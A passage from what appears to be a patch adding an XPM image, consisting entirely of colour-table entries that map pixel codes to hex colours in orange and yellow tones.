c #E0B400", +"v@. c #BC7B00", +"w@. c #CC9F00", +"x@. c #D4B000", +"y@. c #B56F00", +"z@. c #CD9600", +"A@. c #E4B300", +"B@. c #EAB500", +"C@. c #E9B600", +"D@. c #DFB000", +"E@. c #D9A700", +"F@. c #C48400", +"G@. c #DEB900", +"H@. c #C68C00", +"I@. c #C78800", +"J@. c #CF9900", +"K@. c #C88800", +"L@. c #D9B200", +"M@. c #B26500", +"N@. c #C58800", +"O@. c #CD9000", +"P@. c #CE8F00", +"Q@. c #D19500", +"R@. c #E1AF00", +"S@. c #E8B600", +"T@. c #E6B200", +"U@. c #E3AD00", +"V@. c #DEA500", +"W@. c #D79C00", +"X@. c #CE8E00", +"Y@. c #BB6A00", +"Z@. c #F6CE00", +"`@. c #858E0C", +" #. c #53000D", +".#. c #A53009", +"+#. c #A0440F", +"@#. c #A84E11", +"##. c #B56213", +"$#. c #C2741B", +"%#. c #C27826", +"&#. c #CD7630", +"*#. c #BF6C38", +"=#. c #C07445", +"-#. c #C6774A", +";#. c #C57642", +">#. c #C67A2A", +",#. c #BC6C12", +"'#. c #AB4F0E", +")#. c #92290D", +"!#. c #3D160C", +"~#. c #463200", +"{#. c #794F00", +"]#. c #B77A00", +"^#. c #DD9600", +"/#. c #E19700", +"(#. c #DF9200", +"_#. c #DC8F00", +":#. c #DA8C00", +"<#. c #D68700", +"[#. c #C46300", +"}#. c #C66E00", +"|#. c #E3B800", +"1#. c #FEFD00", +"2#. c #C15F00", +"3#. c #C05C00", +"4#. c #C97200", +"5#. c #C16A00", +"6#. c #B75800", +"7#. c #9A2F00", +"8#. c #A65D00", +"9#. c #BE8900", +"0#. c #932400", +"a#. c #B85200", +"b#. c #C96B00", +"c#. c #E17B00", +"d#. c #E17A00", +"e#. c #E07900", +"f#. c #E97D05", +"g#. c #602E1B", +"h#. c #CA6C27", +"i#. c #F4A911", +"j#. c #E4B800", +"k#. c #DBA700", +"l#. c #B77200", +"m#. c #DCBA00", +"n#. c #C28F00", +"o#. c #BC7900", +"p#. c #EAB700", +"q#. c #EBB700", +"r#. c #E2B400", +"s#. c #D09700", +"t#. c #FCF800", +"u#. c #DDB900", +"v#. c #C27F00", +"w#. c #D19900", +"x#. c #BE7900", +"y#. c #E4C800", +"z#. c #FAF300", +"A#. c #B46E00", +"B#. c #BC7800", +"C#. c #C07900", +"D#. c #C78600", +"E#. c #D19C00", +"F#. c #D6A900", +"G#. c #C78200", +"H#. c #D09100", +"I#. c #DAA300", +"J#. c #DFA900", +"K#. c #E4B100", +"L#. c #E5B100", +"M#. c #E0A900", +"N#. c #D99F00", +"O#. c #CF8F00", +"P#. c #CE7800", +"Q#. c #D5C102", +"R#. c #57420F", +"S#. c #7B0007", +"T#. c #A03A0B", +"U#. c #A6490D", +"V#. c #B15A0F", +"W#. c #C27425", +"X#. c #CB8139", +"Y#. c #CD8545", +"Z#. c #CE7F52", +"`#. c #CA7D5A", +" $. c #CA7F56", +".$. c #C67648", +"+$. c #BE6D2B", +"@$. c #B9660F", +"#$. c #AC4D0A", +"$$. c #87210C", +"%$. c #432A09", +"&$. c #4A3000", +"*$. c #723F00", +"=$. c #DA8D00", +"-$. c #E09300", +";$. c #E09400", +">$. c #E19400", +",$. c #DF9300", +"'$. c #DD9000", +")$. c #DA8B00", +"!$. c #D78600", +"~$. c #D07700", +"{$. c #C35C00", +"]$. c #D18500", +"^$. c #F3DF00", +"/$. c #D08800", +"($. c #BE5400", +"_$. c #C06300", +":$. c #A03300", +"<$. c #9A4100", +"[$. c #C59600", +"}$. c #972B00", +"|$. c #B54D00", +"1$. c #CA6C00", +"2$. c #D47300", +"3$. c #E17900", +"4$. c #EA7D05", +"5$. c #F8AB12", +"6$. c #DDA700", +"7$. c #B97200", +"8$. c #BF8800", +"9$. c #BE7B00", +"0$. c #D19A00", +"a$. c #DDAB00", +"b$. c #EBB800", +"c$. c #E9B700", +"d$. c #C48100", +"e$. c #E3C100", +"f$. c #C38400", +"g$. c #D19700", +"h$. c #D5A000", +"i$. c #CE9300", +"j$. c #E8CF00", +"k$. c #B16200", +"l$. c #BA7300", +"m$. c #DCB800", +"n$. c #F9F600", +"o$. c #EAD200", +"p$. c #C98100", +"q$. c #E0AA00", +"r$. c #EBB900", +"s$. c #EABA00", +"t$. c #E1A900", +"u$. c #DA9D00", +"v$. c #CA8400", +"w$. c #E89600", +"x$. c #A2A108", +"y$. c #45060E", +"z$. c #991805", +"A$. c #9F400A", +"B$. c #AA5009", +"C$. c #BC6C1E", +"D$. c #CC803C", +"E$. c #D48C4F", +"F$. c #D5905D", +"G$. c #CC8163", +"H$. c #CD7E5F", +"I$. c #CA7A4D", +"J$. c #BE692A", +"K$. c #B1590B", +"L$. c #A84407", +"M$. c #7A110A", +"N$. c #453A08", +"O$. c #6A7000", +"P$. c #764700", +"Q$. c #A54F00", +"R$. c #E29600", +"S$. c #E29400", +"T$. c #E19000", +"U$. c #DE8B00", +"V$. c #DA8600", +"W$. c #CA6700", +"X$. c #C25B00", +"Y$. c #E2B500", +"Z$. c #DEAA00", +"`$. c #BE5200", +" %. c #CB6D00", +".%. c #CD7200", +"+%. c #C96C00", +"@%. c #AE4400", +"#%. c #8E2500", +"$%. c #C39700", +"%%. c #D2AF00", +"&%. c #9D3200", +"*%. c #B95200", +"=%. c #CC6B00", +"-%. c #D67100", +";%. c #DD7700", +">%. c #F7AB12", +",%. c #DCA500", +"'%. c #B86F00", +")%. c #DBB500", +"!%. c #C08700", +"~%. c #DAA400", +"{%. c #E9B800", +"]%. c #DCA800", +"^%. c #D39900", +"/%. c #C48300", +"(%. c #E5C600", +"_%. c #C57F00", +":%. c #D8A100", +"<%. c #D69F00", +"[%. c #CA8800", +"}%. c #C78E00", +"|%. c #923700", +"1%. c #F9F400", +"2%. c #F9F500", +"3%. c #E1BC00", +"4%. c #D09600", +"5%. c #D09400", +"6%. c #DFB900", +"7%. c #F8F200", +"8%. c #CB8C00", +"9%. c #CB8500", +"0%. c #DBA300", +"a%. c #E2AC00", +"b%. c #EAB800", +"c%. c #EAB900", +"d%. c #E9B400", +"e%. c #E6AE00", +"f%. c #E1A400", +"g%. c #D89700", +"h%. c #CB7800", +"i%. c #EAB300", +"j%. c #6D6B0E", +"k%. c #570008", +"l%. c #A42C04", +"m%. c #A14506", +"n%. c #B25B0E", +"o%. c #C57830", +"p%. c #CD844D", +"q%. c #D9945E", +"r%. c #D69065", +"s%. c #CC7D5E", +"t%. c #C8754B", +"u%. c #BD6824", +"v%. c #AC5006", +"w%. c #A43905", +"x%. c #761609", +"y%. c #2C0B08", +"z%. c #5F5200", +"A%. c #A4A700", +"B%. c #BA5500", +"C%. c #CB7300", +"D%. c #D68800", +"E%. c #DC8D00", +"F%. c #E19200", +"G%. c #E49400", +"H%. c #E49300", +"I%. c #E39100", +"J%. c #E18E00", +"K%. c #DD8800", +"L%. c #D27900", +"M%. c #C25800", +"N%. c #D38900", +"O%. c #E6BD00", +"P%. c #C05200", +"Q%. c #CF7300", +"R%. c #CB6E00", +"S%. c #C76900", +"T%. c #B74F00", +"U%. c #912300", +"V%. c #CEA300", +"W%. c #9F2C00", +"X%. c #CE6A00", +"Y%. c #481927", +"Z%. c #5F2E1B", +"`%. c #C96C27", +" &. c #DCA400", +".&. c #D29500", +"+&. c #BA6D00", +"@&. c #E3AF00", +"#&. c #E0AB00", +"$&. c #D9A100", +"%&. c #D8AA00", +"&&. c #FDFB00", +"*&. c #CE9400", +"=&. c #CE8C00", +"-&. c #C77F00", +";&. c #B48400", +">&. c #904700", +",&. c #BF7600", +"'&. c #CF8C00", +")&. c #C07000", +"!&. c #C48000", +"~&. c #FCF900", +"{&. c #C78100", +"]&. c #DEA400", +"^&. c #EBB500", +"/&. c #EAB200", +"(&. c #E5AA00", +"_&. c #DE9F00", +":&. c #D38E00", +"<&. c #DBCD04", +"[&. c #49360F", +"}&. c #6F0003", +"|&. c #A43604", +"1&. c #A74A02", +"2&. c #BD6A15", +"3&. c #C5763E", +"4&. c #D08555", +"5&. c #D7905E", +"6&. c #D18757", +"7&. c #C46F41", +"8&. c #BA6117", +"9&. c #AA4B02", +"0&. c #9F2703", +"a&. c #6B1509", +"b&. c #382F07", +"c&. c #400800", +"d&. c #8D6F00", +"e&. c #F9FF00", +"f&. c #E1B900", +"g&. c #BB5A00", +"h&. c #C56400", +"i&. c #E59400", +"j&. c #E69500", +"k&. c #E39000", +"l&. c #D57E00", +"m&. c #C65B00", +"n&. c #CC7400", +"o&. c #C25300", +"p&. c #CE6D00", +"q&. c #D17400", +"r&. c #CE6F00", +"s&. c #C96900", +"t&. c #BA5100", +"u&. c #932600", +"v&. c #CCA600", +"w&. c #B36800", +"x&. c #A62F00", +"y&. c #C76500", +"z&. c #D26D00", +"A&. c #C46A26", +"B&. c #EEA211", +"C&. c #E2B100", +"D&. c #DCA300", +"E&. c #D39700", +"F&. c #C58D00", +"G&. c #EBD800", +"H&. c #C98800", +"I&. c #D29600", +"J&. c #DBA200", +"K&. c #D69B00", +"L&. c #C47B00", +"M&. c #EDD500", +"N&. c #D39400", +"O&. c #DFA800", +"P&. c #C77E00", +"Q&. c #CC9500", +"R&. c #9C6800", +"S&. c #FBF400", +"T&. c #AB5600", +"U&. c #C47600", +"V&. c #D49700", +"W&. c #D99E00", +"X&. c #DBA100", +"Y&. c #D89D00", +"Z&. c #D49500", +"`&. c #C57700", +" *. c #C57200", +".*. c #DA9B00", +"+*. c #E1A500", +"@*. c #E7AE00", +"#*. c #ECB600", +"$*. c #E9AF00", +"%*. c #E3A600", +"&*. c #DB9900", +"**. c #C77700", +"=*. c #EFA700", +"-*. c #CAE008", +";*. c #3A0C0E", +">*. c #850401", +",*. c #A23801", +"'*. c #B05600", +")*. c #BD681C", +"!*. c #C57540", +"~*. c #CC7F4C", +"{*. c #CB7E47", +"]*. c #C4722D", +"^*. c #B35507", +"/*. c #A44001", +"(*. c #9C1900", +"_*. c #4C070B", +":*. c #4B6407", +"<*. c #654900", +"[*. c #600F00", +"}*. c #E2D200", +"|*. c #ECD700", +"1*. c #C16700", +"2*. c #D88400", +"3*. c #E39200", +"4*. c #E69600", +"5*. c #E69400", +"6*. c #E49000", +"7*. c #D88000", +"8*. c #C95E00", +"9*. c #CA6D00", +"0*. c #C25000", +"a*. c #D17000", +"b*. c #D37400", +"c*. c #D07000", +"d*. c #CA6A00", +"e*. c #B84E00", +"f*. c #952500", +"g*. c #F0E400", +"h*. c #A13D00", +"i*. c #B44400", +"j*. c #CB6700", +"k*. c #D57000", +"l*. c #EA7C05", +"m*. c #5C2C19", +"n*. c #BD6924", +"o*. c #E29210", +"p*. c #D79A00", +"q*. c #DAA000", +"r*. c #CD8D00", +"s*. c #B66700", +"t*. c #A24B00", +"u*. c #AE5700", +"v*. c #BF7200", +"w*. c #C98000", +"x*. c #D69600", +"y*. c #C98700", +"z*. c #E8CC00", +"A*. c #E2AE00", +"B*. c #DEA700", +"C*. c #CD8900", +"D*. c #BF7A00", +"E*. c #FEF900", +"F*. c #E8E000", +"G*. c #A34A00", +"H*. c #CE8800", +"I*. c #D79900", +"J*. c #DFA600", +"K*. c #E1A800", +"L*. c #DB9E00", +"M*. c #D59500", +"N*. c #C36D00", +"O*. c #D19300", +"P*. c #D08200", +"Q*. c #E4A900", +"R*. c #E9B200", +"S*. c #ECB700", +"T*. c #EAB400", +"U*. c #E6AC00", +"V*. c #DF9F00", +"W*. c #D79000", +"X*. c #BF5F00", +"Y*. c #FFE800", +"Z*. c #B7CC0A", +"`*. c #33000C", +" =. c #901200", +".=. c #A03A00", +"+=. c #B15800", +"@=. c #B86214", +"#=. c #C06D25", +"$=. c #BB6321", +"%=. c #BB660B", +"&=. c #AC4C00", +"*=. c #982E01", +"==. c #8B0800", +"-=. c #3A070C", +";=. c #433D03", +">=. c #8D9500", +",=. c #844200", +"'=. c #E0C600", +")=. c #C87400", +"!=. c #C45B00", +"~=. c #D98600", +"{=. c #DF8D00", +"]=. c #E49200", +"^=. c #E79300", +"/=. c #E79200", +"(=. c #E59000", +"_=. c #E28A00", +":=. c #D87E00", +"<=. c #CA5C00", +"[=. c #C44F00", +"}=. c #D27100", +"|=. c #CC6900", +"1=. c #B64600", +"2=. c #9B2F00", +"3=. c #E2CB00", +"4=. c #DDBE00", +"5=. c #9C2600", +"6=. c #CE6900", +"7=. c #D87100", +"8=. c #DF7500", +"9=. c #E58026", +"0=. c #5D2D19", +"a=. c #582919", +"b=. c #B26123", +"c=. c #F5C90F", +"d=. c #E2B800", +"e=. c #D19100", +"f=. c #CD8C00", +"g=. c #B66C00", +"h=. c #F2E600", +"i=. c #C78A00", +"j=. c #DCB500", +"k=. c #D39300", +"l=. c #D08C00", +"m=. c #CB8400", +"n=. c #E1AB00", +"o=. c #D59600", +"p=. c #B65F00", +"q=. c #B57F00", +"r=. c #AB5000", +"s=. c #D08900", +"t=. c #E5AD00", +"u=. c #E8B300", +"v=. c #E3A900", +"w=. c #DC9C00", +"x=. c #D48B00", +"y=. c #F7EB00", +"z=. c #DB9800", +"A=. c #E2A500", +"B=. c #E8B000", +"C=. c #ECB800", +"D=. c #ECB500", +"E=. c #E9AE00", +"F=. c #E3A200", +"G=. c #D18800", +"H=. c #827B0C", +"I=. c #360009", +"J=. c #961200", +"K=. c #A13E00", +"L=. c #AA4B00", +"M=. c #B15600", +"N=. c #B05200", +"O=. c #A84500", +"P=. c #A03E00", +"Q=. c #941900", +"R=. c #670006", +"S=. c #34220A", +"T=. c #4E1E00", +"U=. c #8A7700", +"V=. c #D2C900", +"W=. c #912600", +"X=. c #CDA000", +"Y=. c #C76C00", +"Z=. c #CB6500", +"`=. c #DB8800", +" -. c #E18D00", +".-. c #E89400", +"+-. c #E79000", +"@-. c #E58D00", +"#-. c #E28900", +"$-. c #D97D00", +"%-. c #C95600", +"&-. c #D68900", +"*-. c #C95700", +"=-. c #D67600", +"--. c #D67400", +";-. c #D36E00", +">-. c #B23D00", +",-. c #9E3A00", +"'-. c #F3EA00", +")-. c #C89200", +"!-. c #A42D00", +"~-. c #C65E00", +"{-. c #D26A00", +"]-. c #DC7200", +"^-. c #E97B05", +"/-. c #451725", +"(-. c #572918", +"_-. c #A24D21", +":-. c #FEE50E", +"<-. c #F9F000", +"[-. c #C98300", +"}-. c #C67F00", +"|-. c #B55F00", +"1-. c #D8BF00", +"2-. c #DFB800", +"3-. c #CC8400", +"4-. c #D49400", +"5-. c #CC8200", +"6-. c #DAA900", +"7-. c #FAF600", +"8-. c #DCA000", +"9-. c #E3AC00", +"0-. c #E8B400", +"a-. c #E4AE00", +"b-. c #DA9C00", +"c-. c #C26D00", +"d-. c #C58400", +"e-. c #DAB600", +"f-. c #B04E00", +"g-. c #D08300", +"h-. c #DEA100", +"i-. c #E7B000", +"j-. c #EDB900", +"k-. c #E8B100", +"l-. c #E0A300", +"m-. c #D89500", +"n-. c #D39200", +"o-. c #D58900", +"p-. c #E0A200", +"q-. c #E7AD00", +"r-. c #ECB300", +"s-. c #EBB000", +"t-. c #E6A600", +"u-. c #DF9900", +"v-. c #D78900", +"w-. c #C36900", +"x-. c #FFE900", +"y-. c #50250E", +"z-. c #470007", +"A-. c #9A1600", +"B-. c #993400", +"C-. c #9F3900", +"D-. c #A23F00", +"E-. c #982D00", +"F-. c #8D2000", +"G-. c #8E0200", +"H-. c #43030B", +"I-. c #363206", +"J-. c #643500", +"K-. c #7F3100", +"L-. c #E8DC00", +"M-. c #D9AC00", +"N-. c #952700", +"O-. c #EBDE00", +"P-. c #B66400", +"Q-. c #FDFD00", +"R-. c #C76600", +"S-. c #DE8800", +"T-. c #E38D00", +"U-. c #E69000", +"V-. c #E89100", +"W-. c #E89000", +"X-. c #E68D00", +"Y-. c #E28800", +"Z-. c #C64F00", +"`-. c #CC6600", +" ;. c #D06300", +".;. c #D16D00", +"+;. c #CA6400", +"@;. c #A42900", +"#;. c #B56300", +"$;. c #B03700", +"%;. c #CD6500", +"&;. c #D76D00", +"*;. c #E77705", +"=;. c #E37F25", +"-;. c #7D441D", +";;. c #572A18", +">;. c #9C4620", +",;. c #EABC0E", +"';. c #C37400", +");. c #C47800", +"!;. c #AD5600", +"~;. c #852800", +"{;. c #EFE700", +"];. c #FDFE00", +"^;. c #D39C00", +"/;. c #C97B00", +"(;. c #D59200", +"_;. c #D59300", +":;. c #CB7B00", +"<;. c #E1B400", +"[;. c #CE8B00", +"};. c #D18700", +"|;. c #DC9D00", +"1;. c #E4AA00", +"2;. c #DFA100", +"3;. c #D38C00", +"4;. c #BD6100", +"5;. c #DEB800", +"6;. c #DFB600", +"7;. c #D08700", +"8;. c #DD9B00", +"9;. c #E7AF00", +"0;. c #EDBA00", +"a;. c #E2A600", +"b;. c #DA9800", +"c;. c #CC7700", +"d;. c #D59B00", +"e;. c #DF9C00", +"f;. c #E7A900", +"g;. c #ECB200", +"h;. c #EDB400", +"i;. c #EDB300", +"j;. c #EDB200", +"k;. c #E9AA00", +"l;. c #E19D00", +"m;. c #DA9000", +"n;. c #C76800", +"o;. c #EBCA00", +"p;. c #D37901", +"q;. c #4E2A0F", +"r;. c #500006", +"s;. c #920E00", +"t;. c #881900", +"u;. c #8C2000", +"v;. c #841600", +"w;. c #8A0000", +"x;. c #630006", +"y;. c #302A0C", +"z;. c #563200", +"A;. c #754500", +"B;. c #D28C00", +"C;. c #A83D00", +"D;. c #A22400", +"E;. c #EED900", +"F;. c #F2E000", +"G;. c #C65700", +"H;. c #E08800", +"I;. c #E48C00", +"J;. c #E78F00", +"K;. c #E89200", +"L;. c #E89300", +"M;. c #E78E00", +"N;. c #E58A00", +"O;. c #E28500", +"P;. c #F0D800", +"Q;. c #F0D400", +"R;. c #C84F00", +"S;. c #D06A00", +"T;. c #C25400", +"U;. c #9F3000", +"V;. c #E3CC00", +"W;. c #E7CF00", +"X;. c #A73400", +"Y;. c #C45600", +"Z;. c #D26600", +"`;. c #E47405", +" >. c #E27F25", +".>. c #572B18", +"+>. c #9F4D20", +"@>. c #D8970E", +"#>. c #B04F00", +"$>. c #B85D00", +"%>. c #B35500", +"&>. c #AC4B00", +"*>. c #C08500", +"=>. c #F3ED00", +"->. c #D79200", +";>. c #DA9900", +">>. c #CC7B00", +",>. c #CF8100", +"'>. c #DC9B00", +")>. c #E4A800", +"!>. c #DD9D00", +"~>. c #D18400", +"{>. c #F2E400", +"]>. c #F7EF00", +"^>. c #DC9700", +"/>. c #DB9700", +"(>. c #CC7600", +"_>. c #D27C00", +":>. c #E09B00", +"<>. c #EEB400", +"[>. c #EBAD00", +"}>. c #E4A000", +"|>. c #DC9200", +"1>. c #CC6C00", +"2>. c #DE8300", +"3>. c #CF6E02", +"4>. c #4A2A0F", +"5>. c #500005", +"6>. c #850000", +"7>. c #770300", +"8>. c #880000", +"9>. c #690005", +"0>. c #291B0F", +"a>. c #596702", +"b>. c #6F4500", +"c>. c #964E00", +"d>. c #A73000", +"e>. c #CC8000", +"f>. c #B63D00", +"g>. c #E4B400", +"h>. c #CB5A00", +"i>. c #E58E00", +"j>. c #E99000", +"k>. c #E98F00", +"l>. c #E88D00", +"m>. c #E58900", +"n>. c #E18300", +"o>. c #D16400", +"p>. c #CF6800", +"q>. c #FDFF00", +"r>. c #DE9B00", +"s>. c #CB5500", +"t>. c #D67000", +"u>. c #CD6600", +"v>. c #AA2F00", +"w>. c #B46800", +"x>. c #B33800", +"y>. c #CE6100", +"z>. c #E07105", +"A>. c #DF7D24", +"B>. c #A85B20", +"C>. c #C86F0E", +"D>. c #EEDA00", +"E>. c #E0BE00", +"F>. c #C78400", +"G>. c #D6A500", +"H>. c #E9D500", +"I>. c #ECD500", +"J>. c #C36C00", +"K>. c #D79300", +"L>. c #DD9E00", +"M>. c #D28500", +"N>. c #D29400", +"O>. c #DAA600", +"P>. c #EBB600", +"Q>. c #E4A700", +"R>. c #D78E00", +"S>. c #CC7900", +"T>. c #CE8200", +"U>. c #E9B100", +"V>. c #EDB700", +"W>. c #EAB100", +"X>. c #CC6F00", +"Y>. c #E19C00", +"Z>. c #E8A900", +"`>. c #EEB500", +" ,. c #EEB200", +".,. c #ECAD00", +"+,. c #E6A100", +"@,. c #DE9300", +"#,. c #D27400", +"$,. c #D99700", +"%,. c #D59800", +"&,. c #D55C00", +"*,. c #CC7D03", +"=,. c #4F3A0F", +"-,. c #4E0006", +";,. c #780000", +">,. c #520007", +",,. c #2A110F", +"',. c #442904", +"),. c #7D6B00", +"!,. c #A29100", +"~,. c #C75800", +"{,. c #B13200", +"],. c #E3BD00", +"^,. c #E4B900", +"/,. c #B12600", +"(,. c #D38800", +"_,. c #D47B00", +":,. c #D56D00", +"<,. c #DF8600", +"[,. c #E48A00", +"},. c #E98E00", +"|,. c #E78B00", +"1,. c #E48600", +"2,. c #CA5000", +"3,. c #E2A900", +"4,. c #CC5D00", +"5,. c #D76E00", +"6,. c #D16900", +"7,. c #C35100", +"8,. c #A23300", +"9,. c #A92E00", +"0,. c #C95B00", +"a,. c #DC6C05", +"b,. c #DC7B24", +"c,. c #5B2D19", +"d,. c #B26422", +"e,. c #D57B0F", +"f,. c #C77800", +"g,. c #E4C500", +"h,. c #C06B00", +"i,. c #E3A700", +"j,. c #C87800", +"k,. c #F8EE00", +"l,. c #C36B00", +"m,. c #D68E00", +"n,. c #DE9E00", +"o,. c #EBB400", +"p,. c #E8AF00", +"q,. c #E5A900", +"r,. c #E2A300", +"s,. c #DF9D00", +"t,. c #DE9A00", +"u,. c #E09C00", +"v,. c #E4A300", +"w,. c #E8AC00", +"x,. c #EBB100", +"y,. c #E9AD00", +"z,. c #E29F00", +"A,. c #EED300", +"B,. c #D07C00", +"C,. c #DB8D00", +"D,. c #E3A000", +"E,. c #EAAC00", +"F,. c #EEB300", +"G,. c #EDB100", +"H,. c #EDB000", +"I,. c #EEB000", +"J,. c #ECAC00", +"K,. c #DF9400", +"L,. c #D77E00", +"M,. c #BC4C00", +"N,. c #E07700", +"O,. c #E8DD03", +"P,. c #6A4D0C", +"Q,. c #57120C", +"R,. c #6A620C", +"S,. c #795903", +"T,. c #7E3700", +"U,. c #DCD600", +"V,. c #D88D00", +"W,. c #D16B00", +"X,. c #CF6C00", +"Y,. c #CB6B00", +"Z,. c #C96700", +"`,. c #D69500", +" '. c #E3BF00", +".'. c #BE4800", +"+'. c #BE4400", +"@'. c #F0D900", +"#'. c #F2DA00", +"$'. c #CC5900", +"%'. c #E68B00", +"&'. c #E88F00", +"*'. c #E88C00", +"='. c #E78800", +"-'. c #E38100", +";'. c #D66E00", +">'. c #CB5900", +",'. c #F6EB00", +"''. c #E3A800", +")'. c #CD5400", +"!'. c #D56C00", +"~'. c #CC6100", +"{'. c #A52700", +"]'. c #BD8000", +"^'. c #C24C00", +"/'. c #D86904", +"('. c #D77923", +"_'. c #7C431D", +":'. c #BA6724", +"<'. c #E59410", +"['. c #C46D00", +"}'. c #D9A300", +"|'. c #CF8E00", +"1'. c #E2A100", +"2'. c #E6A900", +"3'. c #E7AB00", +"4'. c #DA9500", +"5'. c #C66D00", +"6'. c #E3A300", +"7'. c #EBB200", +"8'. c #EAAF00", +"9'. c #E9AC00", +"0'. c #E7AA00", +"a'. c #E7A800", +"b'. c #EBAF00", +"c'. c #E09A00", +"d'. c #D78400", +"e'. c #FCF700", +"f'. c #F0D700", +"g'. c #CE7100", +"h'. c #DE9500", +"i'. c #E5A100", +"j'. c #EBAC00", +"k'. c #EEB100", +"l'. c #EDAF00", +"m'. c #EDAD00", +"n'. c #EBA800", +"o'. c #E49C00", +"p'. c #DE8F00", +"q'. c #D57D00", +"r'. c #CD7100", +"s'. c #FAF900", +"t'. c #E6C200", +"u'. c #C24E00", +"v'. c #FBDB00", +"w'. c #E49500", +"x'. c #BD6303", +"y'. c #EFD900", +"z'. c #BB5600", +"A'. c #EDD100", +"B'. c #EECB00", +"C'. c #CC5C00", +"D'. c #D27300", +"E'. c #C45200", +"F'. c #EACC00", +"G'. c #CA6F00", +"H'. c #E9D100", +"I'. c #C75F00", +"J'. c #C65200", +"K'. c #D27B00", +"L'. c #FCFE00", +"M'. c #DC8C00", +"N'. c #D66B00", +"O'. c #E48800", +"P'. c #E78D00", +"Q'. c #E98D00", +"R'. c #E98B00", +"S'. c #E88900", +"T'. c #E58500", +"U'. c #CE5400", +"V'. c #F3E000", +"W'. c #CF5C00", +"X'. c #D96F00", +"Y'. c #DC7300", +"Z'. c #CE6300", +"`'. c #B73D00", +" ). c #B75C00", +".). c #BA3E00", +"+). c #D56504", +"@). c #D37622", +"#). c #4B1B25", +"$). c #C26A25", +"%). c #EC9911", +"&). c #D88E00", +"*). c #CE7A00", +"=). c #CA7200", +"-). c #CA7300", +";). c #D07D00", +">). c #DD9700", +",). c #E09D00", +"'). c #EAAD00", +")). c #EAAE00", +"!). c #E5A400", +"~). c #DD9800", +"{). c #CE7600", +"]). c #D49600", +"^). c #EACB00", +"/). c #C36200", +"(). c #D88C00", +"_). c #E8AA00", +":). c #ECB100", +"<). c #EDB500", +"[). c #EBAE00", +"}). c #DE9700", +"|). c #CF6D00", +"1). c #D47600", +"2). c #E29800", +"3). c #E8A300", +"4). c #ECAA00", +"5). c #EAA800", +"6). c #D47800", +"7). c #CD6D00", +"8). c #C24500", +"9). c #D99200", +"0). c #EDD800", +"a). c #D56400", +"b). c #EECC00", +"c). c #CF6500", +"d). c #D46D00", +"e). c #F8EF00", +"f). c #D26C00", +"g). c #EDD300", +"h). c #C86000", +"i). c #EED700", +"j). c #CC6000", +"k). c #C74D00", +"l). c #EFD300", +"m). c #F2D800", +"n). c #D25E00", +"o). c #E38600", +"p). c #E98C00", +"q). c #E98A00", +"r). c #E78700", +"s). c #E38000", +"t). c #D86D00", +"u). c #D16700", +"v). c #F2DD00", +"w). c #DF9100", +"x). c #D56100", +"y). c #DD7500", +"z). c #DB7100", +"A). c #C34E00", +"B). c #B04400", +"C). c #C98200", +"D). c #B53200", +"E). c #D46304", +"F). c #D07522", +"G). c #7A431D", +"H). c #C86D27", +"I). c #F39F11", +"J). c #E4A600", +"K). c #DC9500", +"L). c #E19B00", +"M). c #E7A600", +"N). c #ECB000", +"O). c #ECAF00", +"P). c #E8A800", +"Q). c #E29E00", +"R). c #D98D00", +"S). c #C86D00", +"T). c #F1DD00", +"U). c #D49100", +"V). c #CE7000", +"W). c #EEB600", +"X). c #EFB600", +"Y). c #E49F00", +"Z). c #DB8600", +"`). c #FBF500", +" !. c #FBF300", +".!. c #E59D00", +"+!. c #EEAF00", +"@!. c #EDAE00", +"#!. c #ECAB00", +"$!. c #EAA700", +"%!. c #E9A200", +"&!. c #E59900", +"*!. c #D26900", +"=!. c #D27700", +"-!. c #E2AA00", +";!. c #C44300", +">!. c #E3AE00", +",!. c #EBC900", +"'!. c #D26800", +")!. c #D36A00", +"!!. c #F1CE00", +"~!. c #D56A00", +"{!. c #DB7E00", +"]!. c #D26700", +"^!. c #F4E000", +"/!. c #E9BA00", +"(!. c #D06000", +"_!. c #CF6100", +":!. c #F3E100", +"~. c #D26200", +",~. c #BC3800", +"'~. c #EFCF00", +")~. c #C04000", +"!~. c #D66001", +"~~. c #D07421", +"{~. c #FFD4B1", +"]~. c #5C2B1A", +"^~. c #62301A", +"/~. c #D77628", +"(~. c #FFA618", +"_~. c #F3AD06", +":~. c #F3A706", +"<~. c #F3A806", +"[~. c #F3A906", +"}~. c #F3AA06", +"|~. c #F3AB06", +"1~. c #F4AC06", +"2~. c #F4AD06", +"3~. c #F4AE06", +"4~. c #F4AF06", +"5~. c #EFA705", +"6~. c #E99E05", +"7~. c #E39505", +"8~. c #D37204", +"9~. c #E2A804", +"0~. c #FFFF04", +"a~. c #F8DE04", +"b~. c #E19005", +"c~. c #EB9E05", +"d~. c #F2AB05", +"e~. c #F5B106", +"f~. c #F6B206", +"g~. c #F6B106", +"h~. c #F7B206", +"i~. c #F4AE05", +"j~. c #F0A505", +"k~. c #E89505", +"l~. c #F0C105", +"m~. c #EFC304", +"n~. c #D97504", +"o~. c #E79605", +"p~. c #EDA005", +"q~. c #F1A805", +"r~. c #F6AD05", +"s~. c #F7B006", +"t~. c #F7AF06", +"u~. c #F6AA05", +"v~. c #F2A305", +"w~. c #F4C105", +"x~. c #FADD05", +"y~. c #FDF004", +"z~. c #FCEF04", +"A~. c #F2CE04", +"B~. c #FDF104", +"C~. c #F8E104", +"D~. c #D77304", +"E~. c #DA6E04", +"F~. c #F3CD04", +"G~. c #F0BD05", +"H~. c #E37F05", +"I~. c #F7D605", +"J~. c #F2BC05", +"K~. c #E47C05", +"L~. c #E78A05", +"M~. c #ECA005", +"N~. c #FCE605", +"O~. c #E38505", +"P~. c #DD6C05", +"Q~. c #E79F04", +"R~. c #F5D404", +"S~. c #DA6F05", +"T~. c #F4CD05", +"U~. c #E99F05", +"V~. c #DF7105", +"W~. c #E47F05", +"X~. c #DF7005", +"Y~. c #F8D805", +"Z~. c #F4BF05", +"`~. c #E47105", +" {. c #EC8705", +".{. c #EF8B05", +"+{. c #F28F06", +"@{. c #F38E06", +"#{. c #F28D06", +"${. c #F18D06", +"%{. c #F18B06", +"&{. c #EF8705", +"*{. c #EB8105", +"={. c #EA8F05", +"-{. c #E16B05", +";{. c #F2BB05", +">{. c #F2B705", +",{. c #E06205", +"'{. c #E87A05", +"){. c #E97A05", +"!{. c #E57505", +"~{. c #DD6D05", +"{{. c #CC4A04", +"]{. c #DA9104", +"^{. c #FFF804", +"/{. c #F5D604", +"({. c #CD5504", +"_{. c #E0660A", +":{. c #DE7C25", +"<{. c #7D451B", +"[{. c #4D2020", +"}{. c #FEB378", +"|{. c #FFDEC5", +"1{. c #CF6505", +"2{. c #663217", +"3{. c #5A2A1D", +"4{. c #BA6A1C", 